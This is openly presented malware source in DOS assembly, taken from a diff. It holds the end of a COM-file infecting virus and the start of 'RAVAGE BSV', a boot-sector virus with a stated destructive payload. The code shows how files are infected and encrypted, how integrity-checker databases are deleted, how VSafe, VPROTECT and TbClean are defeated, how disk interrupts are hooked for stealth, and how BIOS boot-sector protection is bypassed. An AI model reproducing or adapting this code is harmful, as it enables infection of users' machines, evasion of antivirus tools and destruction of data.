|
||||
CALL RENAME ;Rename to *.TXT file.
|
||||
MOV AH,4Eh ;Search the name.TXT file.
|
||||
MOV CX,110b ;Read only, system & hidden.
|
||||
LEA DX,[BP+OFFSET NEWNAM] ;Offset file specification.(name.TXT)
|
||||
INT 21h ;Call DOS.
|
||||
MOV AX,3D02h ;Open file with read and write access.
|
||||
LEA DX,[BP+OFFSET NEWNAM] ;Offset file specification.(name.TXT)
|
||||
INT 21h ;Call DOS.
|
||||
MOV BYTE PTR[BP+OFFSET HANDLE],AL;Save file handle.
|
||||
CALL STIME ;Save file date & time.
|
||||
CHECK: MOV AH,3Fh ;Read begin of victim.
|
||||
MOV CX,3 ;Read Begin.
|
||||
LEA DX,[BP+OFFSET ORIGNL] ;Into offset original instructions.
|
||||
INT 21h ;Call DOS.
|
||||
JC CLOSE ;On error, quit.
|
||||
REPLACE:CALL BPOINT ;Move file pointer to end of victim.
|
||||
SUB AX,3 ;Calculate new jump.
|
||||
MOV WORD PTR[BP+NEWJMP+1],AX;Store new jump value.
|
||||
MOV AX,4200h ;Move file pointer to begin.
|
||||
XOR CX,CX ;Zero high nybble.
|
||||
XOR DX,DX ;Zero low nybble.
|
||||
INT 21h ;Call DOS.
|
||||
MOV AH,40h ;Write to file,
|
||||
MOV CX,3 ;3 Bytes.
|
||||
LEA DX,[BP+OFFSET NEWJMP] ;Offset new jump value.
|
||||
INT 21h ;Call DOS.
|
||||
CALL BPOINT ;Move file pointer to end.
|
||||
JMP INFEC ;Create encryption key.
|
||||
LETSGO: MOV AH,4Fh ;Find next.
|
||||
INT 21h ;Call DOS.
|
||||
JC EXIT ;On error, quit.
|
||||
JMP OPENF ;Open new victim.
|
||||
INFEC: MOV DL,[BP+OFFSET VAL_1] ;Encryption value into DL.
|
||||
INT 0D0h ;Neat way to infect a file!
|
||||
CLOSE: CALL RTIME ;Restore File time & date.
|
||||
MOV AH,3Eh ;Close file.
|
||||
INT 21h ;Call DOS.
|
||||
CALL RENAME2 ;Restore back to COM file.
|
||||
CALL RATTRIB ;Restore File attributes.
|
||||
;-----------------------------------------------------------------------------
|
||||
EXIT: CALL DELSTUF ;Delete CRC checkers.
|
||||
EXIT1: MOV AH,1Ah ;Restore old DTA.
|
||||
MOV DX,[BP+OFFSET OLD_DTA] ;Old DTA address.
|
||||
INT 21h ;Call DOS.
|
||||
EXIT2: MOV AH,0Eh ;Restore startup drive.
|
||||
MOV DL,BYTE PTR[BP+OFFSET OLDRV];Old drive code.
|
||||
INT 21h ;Call DOS.
|
||||
MOV AH,3Bh ;Goto startup directory,
|
||||
LEA DX,[BP+OFFSET BUFFER] ;that is stored here.
|
||||
INT 21h ;Call DOS.
|
||||
EXIT3: CALL RINTD0 ;Restore original INT D0
|
||||
CALL RINT24 ;Restore original INT 24
|
||||
EXIT4: MOV AX,100h ;Return address.
|
||||
PUSH AX ;Put it on stack.
|
||||
RET ;Pass control to HOST.
|
||||
;-----------------------------------------------------------------------------
|
||||
DUMEX: MOV DI,0100h ;This is a dummy exit, it screws up
|
||||
LEA SI,[BP+DEXIT] ;TbClean. In stead of cleaning the
|
||||
MOV CX,3 ;phile, it puts a program terminating
|
||||
REPNZ MOVSB ;interrupt in the beginning of the
|
||||
MOV AX,0100h ;victim, neat huh!
|
||||
PUSH AX ;
|
||||
RET ;
|
||||
;-----------------------------------------------------------------------------
|
||||
BETWEEN:MOV AH,3Eh ;Close the file.
|
||||
INT 21h ;Call DOS
|
||||
JMP LETSGO ;Find next file.
|
||||
CHKINF: MOV AX,3D00h ;Open file with only read acces.
|
||||
MOV DX,WORD PTR[BP+OFFSET NP];Offset filename.
|
||||
INT 21h ;Call DOS.
|
||||
MOV BX,AX ;File handle into BX.
|
||||
XOR CX,CX ;-
|
||||
XOR DX,DX ;/
|
||||
MOV AX,4202h ;Move file pointer to end.
|
||||
INT 21h ;Call DOS.
|
||||
SUB AX,VIRLEN ;
|
||||
MOV DX,AX ;
|
||||
MOV AX,4200h ;Move file pointer to vircode.
|
||||
INT 21h ;Call DOS.
|
||||
MOV AH,3Fh ;Read file.
|
||||
MOV CX,01h ;One Byte.
|
||||
LEA DX,[BP+OFFSET MARK1] ;Into this address.
|
||||
INT 21h ;Call DOS.
|
||||
CMP BYTE PTR [BP+OFFSET MARK1],0E8h; Is it infected?
|
||||
JE BETWEEN ;Yes, find another.
|
||||
CALL BPOINT ;Go to EOF.
|
||||
CMP AX,MAXLEN ;Is the file to long?
|
||||
JNB BETWEEN ;Yes, find another.
|
||||
CMP AX,MINLEN ;Is it to short?
|
||||
JBE BETWEEN ;Yes, find another.
|
||||
MOV AH,3Eh ;Close the file.
|
||||
INT 21h ;Call DOS
|
||||
RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
CHKDRV: CALL CHKDOS ;Check DOS version.
|
||||
CMP AL,01 ;
|
||||
JB DUMEX ;Screw up TbClean.
|
||||
CMP AL,05h ;Is it DOS 5.0 or higher?
|
||||
JNGE EXIT4 ;No, exit.
|
||||
MOV AH,19h ;Get drive code.
|
||||
INT 21h ;Call DOS.
|
||||
MOV BYTE PTR[BP+OFFSET OLDRV],AL;Save old drive code.
|
||||
RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
RESBEG: LEA SI,[BP+OFFSET ORIGNL] ;Offset original begin.
|
||||
MOV DI,0100h ;Restore original instructions.
|
||||
MOV CX,3 ;Restore 3 bytes.
|
||||
REPNZ MOVSB ;Move them.
|
||||
RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
CHKCOM: MOV CX,05 ;CX=len COMMAND.
|
||||
MOV DI,[BP+OFFSET NP] ;Offset found file.
|
||||
LEA SI,[BP+OFFSET COMMND] ;Offset COMMAND.
|
||||
REPZ CMPSB ;Compare the strings.
|
||||
RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
RENAME: MOV CX,0Ch ; This section renames the
|
||||
MOV SI,WORD PTR[BP+OFFSET NP]; found and approved for
|
||||
LEA DI,WORD PTR[BP+OFFSET NEWNAM]; infection file to a
|
||||
REPNZ MOVSB ; *.TXT file. The reason for
|
||||
LEA BX,WORD PTR[BP+OFFSET NEWNAM-1];this is that VPROTECT from
|
||||
LPOINT: INC BX ; Intel has a rule based NLM.
|
||||
CMP BYTE PTR[BX],'.' ; If we write to a COM file
|
||||
JNE LPOINT ; VPROTECT gives an alarm
|
||||
MOV DI,BX ; message. However, if we
|
||||
MOV WORD PTR[BP+OFFSET TXTPOI],BX; write to a text file....
|
||||
LEA SI,[BP+OFFSET TXT] ; Pretty solution isn't it?
|
||||
MOVSW ;
|
||||
MOVSW ;
|
||||
MOV DX,WORD PTR[BP+OFFSET NP];
|
||||
LEA DI,WORD PTR[BP+OFFSET NEWNAM];
|
||||
MOV AH,56h ;Rename file function.
|
||||
INT 21h ;Call DOS.
|
||||
RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
RENAME2:LEA SI,[BP+OFFSET SPEC+1] ; In this section we
|
||||
MOV DI,WORD PTR[BP+OFFSET TXTPOI]; give the infected file
|
||||
MOVSW ; its old extention back.
|
||||
MOVSW ; (*.COM)
|
||||
MOV DX,WORD PTR[BP+OFFSET NP];
|
||||
LEA DI,WORD PTR[BP+OFFSET NEWNAM];
|
||||
MOV AH,56h ;Rename file function.
|
||||
INT 21h ;Call DOS.
|
||||
RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
ENKEY: CALL CHKTIME ;Get time.
|
||||
MOV BYTE PTR[BP+OFFSET VAL_1],DL;New encryption key.
|
||||
RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
SAVEDIR:MOV BYTE PTR[BP+OFFSET BUFFER],5Ch;
|
||||
MOV DL,BYTE PTR[BP+OFFSET OLDRV];Drive code.
|
||||
INC DL ;DL=DL+1 as func 47 is different.
|
||||
MOV AH,47h ;Get current directory.
|
||||
LEA SI,[BP+OFFSET BUFFER+1] ;Store current directory.
|
||||
INT 21h ;Call DOS.
|
||||
RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
DTA: MOV AH,2Fh ;Get DTA address.
|
||||
INT 21h ;Call DOS.
|
||||
MOV WORD PTR[BP+OFFSET OLD_DTA],BX; Save here.
|
||||
LEA DX,[BP+OFFSET NEW_DTA] ;Offset new DTA address.
|
||||
MOV AH,1Ah ;Give up new DTA.
|
||||
INT 21 ;Call DOS.
|
||||
ADD DX,1Eh ;Filename pointer in DTA.
|
||||
MOV WORD PTR[BP+OFFSET NP],DX;Put in name pointer.
|
||||
RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
INT24: MOV AX,3524h ;Get int 24 handler.
|
||||
INT 21h ;into [ES:BX].
|
||||
MOV WORD PTR[BP+OLDINT],BX ;Save it.
|
||||
MOV WORD PTR[BP+OLDINT+2],ES;
|
||||
MOV AH,25h ;Set new int 24 handler.
|
||||
LEA DX,[BP+OFFSET NEWINT] ;DS:DX->new handler.
|
||||
INT 21h ;Call DOS.
|
||||
RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
RINT24: PUSH DS ;Save data segment.
|
||||
MOV AX,2524h ;Restore int 24 handler
|
||||
LDS DX,[BP+OFFSET OLDINT] ;to original.
|
||||
INT 21h ;Call DOS.
|
||||
POP DS ;Restore data segment.
|
||||
RET ;Return to caller.
|
||||
;---------------------------------------------------------------------------
|
||||
RINTD0: PUSH DS ;Save data segment.
|
||||
MOV AX,25D0h ;Restore int D0 handler
|
||||
LDS DX,[BP+OFFSET INTD0] ;to original.
|
||||
INT 21h ;Call DOS.
|
||||
POP DS ;Restore data segment.
|
||||
RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
VSAFE: MOV AX,3516h ;Get interrupt vector INT 16.
|
||||
INT 21h ;(Now we know in wich segment it is.)
|
||||
ADD BX,0364h ;Here we find a jump that we'll change.
|
||||
CMP WORD PTR[ES:BX],0945h ;Is it THE jump?
|
||||
JNE OK_9 ;No, already modified or not resident.
|
||||
MOV WORD PTR[ES:BX],086Dh ;Yes, modify it.
|
||||
OK_9: RET ;Return to caller. No Vsafe.
|
||||
;-----------------------------------------------------------------------------
|
||||
FIND1: MOV BYTE PTR[BP+OFFSET VAL_2],0FFh; This routine is derived from
|
||||
MOV BX,01h ; the VIENNA virus. (Why invent the
|
||||
FIND2: PUSH ES ; wheel twice?)
|
||||
PUSH DS ;- Save registers.
|
||||
MOV ES,DS:2CH ;
|
||||
MOV DI,0 ;ES:DI points to environment.
|
||||
FPATH: LEA SI,[BP+OFFSET PATH] ;Point to "PATH=" string in data area.
|
||||
LODSB ;
|
||||
MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long.
|
||||
REPNZ SCASB ;Search for first character.
|
||||
MOV CX,4 ;Check if path
|
||||
LOOP_2: LODSB ;is complete.
|
||||
SCASB ;
|
||||
JNZ FPATH ;If not all there, abort & start over.
|
||||
LOOP LOOP_2 ;Loop to check the next character.
|
||||
XCHG SI,DI ;Exchange registers.
|
||||
MOV CL,BYTE PTR[BP+OFFSET VAL_2];Random value in CL.
|
||||
PUSH ES ;\
|
||||
POP DS ;-) Get DS, ES on address.
|
||||
POP ES ;/
|
||||
OK_14: LEA DI,[BP+OFFSET NEW_DTA+50];Offset address path.
|
||||
OK_10: MOVSB ;Get name in path.
|
||||
MOV AL,[SI] ;
|
||||
CMP AL,0 ;Is it at the end?
|
||||
JE OK_11 ;Yes, replicate.
|
||||
CMP AL,3Bh ;Is it ';'?
|
||||
JNE OK_10 ;Nope, next letter.
|
||||
INC SI ;For next loop. ';'=';'+1.
|
||||
INC BX ;
|
||||
LOOP OK_14 ;Loop until random value = 0.
|
||||
OK_11: POP DS ;Restore data segment.
|
||||
MOV AL,0 ;Place space after the directory.
|
||||
MOV [DI],AL ;
|
||||
RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
DELSTUF:MOV BX,01h ;Set counter
|
||||
PUSH BX ;and push it.
|
||||
LEA DX,[BP+OFFSET MICRO] ;Is there a CHKLIST.MS file?
|
||||
JMP INTER ;Check it out.
|
||||
SECOND: LEA DX,[BP+OFFSET TBAV] ;Is there a ANTI-VIR.DAT file?
|
||||
INC BX ;Increase counter
|
||||
PUSH BX ;and push it.
|
||||
JMP INTER ;Check it out.
|
||||
THIRD: LEA DX,[BP+OFFSET CENTRAL] ;Is there a CHKLIST.CPS file?
|
||||
INC BX ;Increase counter
|
||||
PUSH BX ;and push it
|
||||
INTER: MOV AH,4Eh ;Find first matching entry.
|
||||
MOV CX,110b ;Search all attributes.
|
||||
INT 21h ;Call DOS.
|
||||
JC NODEL ;No match, find next.
|
||||
CALL ATTRIB ;Clear attributes.
|
||||
MOV AH,41h ;Delete file.
|
||||
INT 21h ;Call DOS.
|
||||
NODEL: POP BX ;Pop counter.
|
||||
CMP BX,01 ;Had the first one?
|
||||
JE SECOND ;Yes, do the second.
|
||||
CMP BX,02 ;Was it the second?
|
||||
JE THIRD ;Yes, do the third.
|
||||
RET ;Finished, return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
CHDRIVE:MOV CX,0FFFFh ;Clear CX.
|
||||
MOV BL,'A'-1 ;AH=40
|
||||
OK_15: INC BL ;AH=41='A'
|
||||
INC CX ;CX=1
|
||||
CMP BL,BYTE PTR[BP+OFFSET NEW_DTA+50];New drive letter.
|
||||
JNE OK_15 ;Not the same, go again.
|
||||
MOV DL,CL ;Calculated the new drive code.
|
||||
MOV AH,0Eh ;Give up new drive code.
|
||||
INT 21h ;Call DOS.
|
||||
RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
RTIME: MOV AX,5701h ;Restore time & date.
|
||||
MOV CX,WORD PTR[BP+OFFSET TIME];Old time.
|
||||
MOV DX,WORD PTR[BP+OFFSET DATE];Old date.
|
||||
INT 21h ;Call DOS.
|
||||
RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
STIME: MOV AX,5700h ;Get file date & time.
|
||||
MOV BX,[BP+OFFSET HANDLE] ;File Handle.
|
||||
INT 21h ;Call DOS.
|
||||
MOV WORD PTR[BP+OFFSET TIME],CX;Store time.
|
||||
MOV WORD PTR[BP+OFFSET DATE],DX;Store date.
|
||||
RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
BPOINT: XOR DX,DX ;Zero register.
|
||||
MOV AX,4202h ;Move file pointer to top.
|
||||
XOR CX,CX ;Zero register.
|
||||
INT 21h ;Call DOS.
|
||||
RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
ATTRIB: MOV DX,WORD PTR[BP+OFFSET NP];Offset in DTA.
|
||||
MOV AX,4300h ;Ask file attributes.
|
||||
INT 21h ;Call DOS.
|
||||
LEA BX,[BP+OFFSET ATTR] ;Save address for old attributes.
|
||||
MOV [BX],CX ;Save it.
|
||||
XOR CX,CX ;Clear file attributes.
|
||||
MOV AX,4301h ;Write file attributes.
|
||||
INT 21h ;Call DOS.
|
||||
JNC OK ;No error, proceed.
|
||||
CALL EXIT ;Oh Oh, error occured. Quit.
|
||||
OK: RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
RATTRIB:LEA DX,[BP+OFFSET NEWNAM] ;Offset file specification.(name.TXT)
|
||||
LEA BX,[BP+OFFSET ATTR] ;Offset address old attributes.
|
||||
MOV CX,[BX] ;Into CX.
|
||||
MOV AX,4301h ;Write old values back.
|
||||
INT 21h ;Call DOS.
|
||||
RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
GODIR: LEA DX,[BP+OFFSET NEW_DTA+52];Offset directory spec.
|
||||
MOV AH,3Bh ;Goto the directory.
|
||||
INT 21h ;Call DOS.
|
||||
RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
RANDOM: CALL CHKTIME ;Get system time.
|
||||
MOV CX,0 ;Figure this out by yourself.
|
||||
MOV AX,100d ;It is a random generator with
|
||||
OK_19: INC CX ;two variable inputs.
|
||||
SUB AX,BX ;A: How many dir's in the path.
|
||||
CMP AX,01d ;B: Random system time.
|
||||
JGE OK_19 ;With this values, we create a
|
||||
XOR BX,BX ;random value between 1 and A.
|
||||
OK_20: INC BX ;
|
||||
SUB DL,CL ;
|
||||
CMP DL,01d ;
|
||||
JGE OK_20 ;
|
||||
MOV BYTE PTR[BP+OFFSET VAL_2],BL;Save value.
|
||||
RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
BEGIN1: PUSH SP ;
|
||||
POP BX ;Everything is related to BP.
|
||||
MOV BP,WORD PTR[BX] ;
|
||||
SUB BP,0145h ;In first run BP=0
|
||||
RET ;
|
||||
;-----------------------------------------------------------------------------
|
||||
NEWINT: MOV AL,03h ;New INT 24.
|
||||
IRET ;No more write protect errors!
|
||||
;-----------------------------------------------------------------------------
|
||||
INSTSR2:PUSH ES ;-Save registers.
|
||||
PUSH DS ;/
|
||||
MOV AX,0DEDEh ;Resident check.
|
||||
INT 21h ;Call DOS.
|
||||
CMP AH,41h ;\
|
||||
JNE NOBRO ;-Little Brother virus in memory?
|
||||
CALL EXIT4 ;If resisent, do nothing.
|
||||
NOBRO: MOV AX,3D3Dh ;Resident check.
|
||||
INT 21h ;Call DOS.
|
||||
CMP AX,1111h ;\
|
||||
JNE NOGETP ;-Getpass! virus resident ?.
|
||||
CALL EXIT4 ;If resident, quit.
|
||||
NOGETP: MOV AX,35D0h ;Save old interrupt vector INT D0.
|
||||
INT 21h ;Call DOS.
|
||||
MOV WORD PTR[BP+OFFSET INTD0],BX
|
||||
MOV WORD PTR[BP+OFFSET INTD0+2],ES
|
||||
MOV AX,0044h ;
|
||||
MOV ES,AX ;
|
||||
MOV DI,0100h ;
|
||||
LEA SI,[BP+OFFSET INFECT] ;Offset address infection routine.
|
||||
MOV CX,TSR2LEN ;Length to install.
|
||||
REP MOVSB ;Install it.
|
||||
PUSH ES ;
|
||||
POP DS ;
|
||||
MOV AX,25D0h ;Give up new INT D0 vector.
|
||||
MOV DX,0100h ;
|
||||
INT 21h ;Call DOS.
|
||||
POP DS ;
|
||||
POP ES ;
|
||||
RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
PATH DB 'PATH=' ;Used to find environment.
|
||||
SPEC DB '*.COM',0 ;File search specification.
|
||||
TXT DB '.TXT',0 ;Rename file specification.
|
||||
OUTPUT DB 0 ;Output byte to printer.
|
||||
TXTPOI DW 0 ;Pointer in specification.
|
||||
MARK1 DB 0 ;Used for infection check.
|
||||
VAL_2 DB 0 ;Random value for directory switching.
|
||||
OLDRV DB 0 ;Old drive code.
|
||||
BEGIN2 DW 0 ;
|
||||
NWJMP1 DB 0EBh,0 ;
|
||||
FLAGT DB 0 ;
|
||||
COMMND DB 'COMM',0 ;
|
||||
MICRO DB 'CHKLIST.MS',0 ;- Files to be deleted.
|
||||
CENTRAL DB 'CHKLIST.CPS',0 ;/
|
||||
TBAV DB 'ANTI-VIR.DAT',0 ;/
|
||||
VIRNAME DB ' Wrong copied DNA = Evolution '
|
||||
DB ' I am Life.'
|
||||
DB ' Greetings ,ThE wEiRd GeNiUs '
|
||||
OLD_DTA DW 0 ;Old DTA addres.
|
||||
HANDLE DW 0 ;File handle.
|
||||
COMSIGN DB 0 ;Command.com flag
|
||||
TIME DB 2 DUP (?) ;File time.
|
||||
DATE DB 2 DUP (?) ;File date.
|
||||
ATTR DB 1 DUP (?),0 ;Attributes.
|
||||
INTD0 DW 0,0 ;
|
||||
NEWJMP DB 0E9h,0,0 ;Jump replacement.
|
||||
ORIGNL DB 0CDh,020h,090h ;Original instrucitons.
|
||||
DEXIT DB 0CDh,020h,090h ;Dummy exit instructions.
|
||||
NEWNAM DB 0Dh DUP (?) ;New file name.
|
||||
OLDINT DW 0 ;Old INT 24 vector.
|
||||
NP DW ? ;New DTA address.
|
||||
;-----------------------------------------------------------------------------
|
||||
INFECT: PUSH BX ;Save file handle.
|
||||
PUSH DX ;Save encryption key.
|
||||
PUSH BX ;Save file handle.
|
||||
CALL DNCRYPT ;Encrypt the virus code.
|
||||
POP BX ;Restore file handle.
|
||||
LEA DX,[BP+OFFSET VSTART] ;Begin here.
|
||||
MOV CX,VIRLEN ;Write this many Bytes.
|
||||
MOV AH,40h ;Write to file.
|
||||
INT 21h ;Call DOS.
|
||||
POP DX ;Restore encryption value.
|
||||
CALL DNCRYPT ;Fix up the mess.
|
||||
POP BX ;Restore file handle.
|
||||
DUMMY: IRET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
DNCRYPT:LEA BX,[BP+OFFSET CSTART] ;De/en-crypt from here.
|
||||
MOV DH,DL ;
|
||||
MOV CX,CRYPTLEN ;Set counter.
|
||||
Y_LOOP: XOR [BX],DL ;Xor the code on address BX.
|
||||
SUB DL,DH ;-To change form of scrambled code.
|
||||
SUB DH,02Eh ;/
|
||||
INC BX ;Increase address.
|
||||
LOOP Y_LOOP ;Repeat until done.
|
||||
NOTENC: RET ;Return to caller.
|
||||
;-----------------------------------------------------------------------------
|
||||
BUFFER: DB 64 DUP (?) ;Here we store directory info.
|
||||
;-----------------------------------------------------------------------------
|
||||
NEW_DTA: ;Here we put the DTA copy.
|
||||
;-----------------------------------------------------------------------------
|
||||
CODE ENDS
|
||||
END START
|
||||
;=============================================================================
|
|
@ -0,0 +1,572 @@
|
|||
; RAVAGE BSV Written by RP & muRPhy October 1996
|
||||
; version 9.0 [ New Generation ] -- WIN95 compatible :-)
|
||||
;
|
||||
;Replicator module (c) 1994-96 RP, Bucharest
|
||||
;Tips & tricks (c) 1995-96 muRPhy, Bucharest
|
||||
;Final version full options Warning!!! Distructive sequence included!
|
||||
|
||||
;This source code is for educational purposes only. The author is not
|
||||
;responsible for any problems caused due to the assembly of this file"
|
||||
|
||||
|
||||
.286
|
||||
code segment
|
||||
assume cs:code
|
||||
org 100h
|
||||
start:
|
||||
q db 7b00h dup(90h)
|
||||
timer equ 08h
|
||||
|
||||
jmp begin
|
||||
bootrecord db 32 dup(0) ;min=32
|
||||
|
||||
|
||||
;............. Entry point ..............................
|
||||
begin:
|
||||
push cs
|
||||
|
||||
mov di,414h; steal 1k of RAM
|
||||
pop ds
|
||||
mov byte ptr ds:[04a1h],0eah ;pun cod de jmp xxxx:xxxx pt INT 40H
|
||||
dec di ;added code for jmp xxxx:xxxx for INT 40H
|
||||
dec ds:word ptr[di]
|
||||
mov ax,ds:word ptr[di]
|
||||
shl ax,6 ;only >80186
|
||||
sub ax,07c0h
|
||||
push ax
|
||||
push ax
|
||||
;.......................................................
|
||||
mov ax,0201h; read the other sector of the virus
|
||||
push cs
|
||||
pop es
|
||||
mov bx,7e00h
|
||||
mov cx,000fh
|
||||
cxpar equ this word
|
||||
mov dx,0080h
|
||||
dxpar equ this word
|
||||
int 13h
|
||||
|
||||
mov word ptr ds:[offset temp-2],609Ch ;refac cod de pushf pusha
|
||||
;restoring code for pushf pusha
|
||||
; mov bx,0100h ;get original INT 40H
|
||||
mov bh,01 ;bl already 00 from bx=7e00
|
||||
les ax,[bx]
|
||||
mov ds:[int40seg],es ;store original INT 40H
|
||||
mov ds:[int40ofs],ax
|
||||
|
||||
;.......................................................
|
||||
pop ax
|
||||
mov bx,04a2h ;prepare code at 0:4a1h for jmp xxxx:xxxx
|
||||
mov [bx],offset int40
|
||||
mov word ptr [bx+02],ax
|
||||
|
||||
mov bx,004ch; get & corrupt int 13h
|
||||
xchg ds:[bx+2],ax
|
||||
mov ds:[int13seg],ax
|
||||
mov ax,offset int13
|
||||
xchg ds:[bx],ax
|
||||
mov ds:[int13ofs],ax
|
||||
;.......................................................
|
||||
pop es
|
||||
mov si,7c00h; transfer virus code
|
||||
mov di,si
|
||||
cld
|
||||
xor cx,cx
|
||||
mov ch,02 ;anti TBAV flag O
|
||||
rep movsw
|
||||
|
||||
cli
|
||||
mov ax,es ;get & corrupt INT 08H
|
||||
; mov bx,timer*4
|
||||
mov bl,timer*4 ;bh already 00 from bx=004ch
|
||||
xchg ds:[bx+2],ax
|
||||
mov es:[int08seg],ax
|
||||
mov ax,offset int08
|
||||
xchg ds:[bx],ax
|
||||
mov es:[int08ofs],ax
|
||||
|
||||
mov ax,0201h ; fast boot infector sequence
|
||||
mov dx,0080h
|
||||
inc cx
|
||||
int 13h
|
||||
|
||||
call testziuaz ; is it trash day ?
|
||||
cmp dx,0303h
|
||||
ziuaz equ this word
|
||||
jnz boot
|
||||
|
||||
jmp entry
|
||||
boot:
|
||||
int 19h
|
||||
;------------------- int 40h
|
||||
|
||||
jmpint40:
|
||||
db 0eah
|
||||
int40ofs dw 0
|
||||
int40seg dw 0
|
||||
|
||||
;----------------- Corrupted entry in INT 40H
|
||||
int40:
|
||||
cmp ah,02h
|
||||
jnz jmpint40
|
||||
cmp cx,0001
|
||||
jnz jmpint40
|
||||
or dh,dh
|
||||
jnz jmpint40
|
||||
call disketa
|
||||
jmp short verificare
|
||||
|
||||
|
||||
;................. jmp int 13 ............................
|
||||
jmpint13:
|
||||
db 0eah; jmp xxxx:xxxx
|
||||
int13ofs dw 0
|
||||
int13seg dw 0
|
||||
;...........................................................
|
||||
cmp03:
|
||||
cmp ah,03
|
||||
jne jmpint13
|
||||
cmp dl,80h
|
||||
jb jmpint13
|
||||
jmp short contcmp
|
||||
|
||||
|
||||
;...........................................................
|
||||
|
||||
int13: ; FAR PROCEDURE FOR HANDLING INTERRUPT 13H
|
||||
cmp ah,02h
|
||||
jnz cmp03
|
||||
;---
|
||||
cmp dl,80h ;pe HDD
|
||||
jb contcmp
|
||||
or dh,dh ;head 0?
|
||||
jnz contcmp
|
||||
cmp cx,000eh ;se redirecteaza 14 si 15 pe 13 presupus cu zerouri
|
||||
jz fak ;sau cu orice altceva
|
||||
cmp cx,000fh ;show instead of sectors 14 and 15 , sector 13
|
||||
jnz contcmp ;sector 13 supposed zeroed or whatever
|
||||
;not quite good implemented but works anyway
|
||||
fak:
|
||||
mov cl,0dh
|
||||
jmp jmpint13
|
||||
;---
|
||||
contcmp:
|
||||
cmp cx,0001
|
||||
jnz jmpint13
|
||||
or dh,dh; <=> cmp dh,00
|
||||
jnz jmpint13
|
||||
|
||||
cmp dl,80h
|
||||
jae hard
|
||||
call disketa
|
||||
jmp short verificare
|
||||
hard:
|
||||
call callint13; it was requested a read action for the boot
|
||||
verificare:
|
||||
jc giveup
|
||||
cmp es:word ptr[bx+1bch],0202h; is it infected?
|
||||
jz showboot
|
||||
call compute
|
||||
mov ax,0301h; write real boot on computed sector
|
||||
call callint13
|
||||
jnc continue
|
||||
clearerr:
|
||||
clc
|
||||
giveup:
|
||||
retf 0002
|
||||
showboot:
|
||||
call compute
|
||||
mov ax,0201h
|
||||
call callint13
|
||||
jmp short giveup
|
||||
;-------------------------
|
||||
continue:
|
||||
push es
|
||||
push bx
|
||||
push cs
|
||||
pop es
|
||||
mov ax,0301h; write the other sector of the virus
|
||||
inc cx
|
||||
mov cs:[offset cxpar-2],cx
|
||||
mov cs:[offset dxpar-2],dx
|
||||
mov bx,7e00h
|
||||
call callint13
|
||||
pop bx
|
||||
pop es
|
||||
jc clearerr
|
||||
|
||||
push es
|
||||
push bx
|
||||
push ds
|
||||
push si
|
||||
push di
|
||||
|
||||
push es
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov si,bx
|
||||
add si,1beh; copy the partition into the virus code
|
||||
mov di,7dbeh
|
||||
mov cl,21h
|
||||
cld
|
||||
rep movsw
|
||||
mov si,bx; copy the boot record into the virus code
|
||||
add si,3
|
||||
mov di,7c03h
|
||||
mov cl,16
|
||||
rep movsw
|
||||
|
||||
|
||||
cmp dl,80h
|
||||
jb normal
|
||||
|
||||
;-----
|
||||
pusha
|
||||
|
||||
mov ah,05; bypass BIOS protection;place Y into keyboard buffer.
|
||||
mov cl,59h
|
||||
int 16h
|
||||
call resetcmosflag
|
||||
inc cs:word ptr [counter]
|
||||
call testziuaz
|
||||
mov al,dh
|
||||
cmp al,09h
|
||||
ja maimare ;"maimare " means "greater than"
|
||||
add al,12h ;in Romanian language, of course...
|
||||
daa
|
||||
maimare:
|
||||
sub al,09h
|
||||
das
|
||||
mov dh,al
|
||||
mov cs:word ptr [offset ziuaz-2],dx
|
||||
|
||||
popa
|
||||
;-----
|
||||
|
||||
normal:
|
||||
inc cx ;salvez cx=0000 cu pusha dupa rep movsw =>cx=0001
|
||||
;cx=0000 saved by pusha after rep movsw =>cx=0001
|
||||
iar:
|
||||
mov ax,0301h; write the virus onto the disk
|
||||
mov bx,7c00h
|
||||
xor dh,dh
|
||||
call callint13
|
||||
jc iar
|
||||
call resetkeyboard
|
||||
afar:
|
||||
pop di
|
||||
pop si
|
||||
pop ds
|
||||
pop bx
|
||||
pop es
|
||||
jmp giveup
|
||||
|
||||
disketa:
|
||||
pushf
|
||||
call cs:dword ptr [int40ofs]
|
||||
ret
|
||||
|
||||
|
||||
|
||||
counter dw 0
|
||||
virsign dw 0202h
|
||||
partition1 db 80h,01h,01,00,06,0eh,201,231,11h,0,0,0,07,228,03,00
|
||||
;take care (this is my partition)
|
||||
;you'll have to change this with yours
|
||||
db 30h dup (0)
|
||||
db 55h,0aah
|
||||
|
||||
;............ Second sector ..............................
|
||||
|
||||
int2f: ;FAR PROCEDURE FOR HANDLING INTERRUPT 2FH
|
||||
pushf
|
||||
pusha
|
||||
push ds
|
||||
push es
|
||||
|
||||
xor bx,bx
|
||||
mov ds,bx
|
||||
mov bx,07b4h
|
||||
cmp ax,1605h ;is it Init Windows ?
|
||||
jne cont2f
|
||||
mov ax,cs:[int13ofs] ;restore original handler of INT 13H
|
||||
mov ds:[bx],ax
|
||||
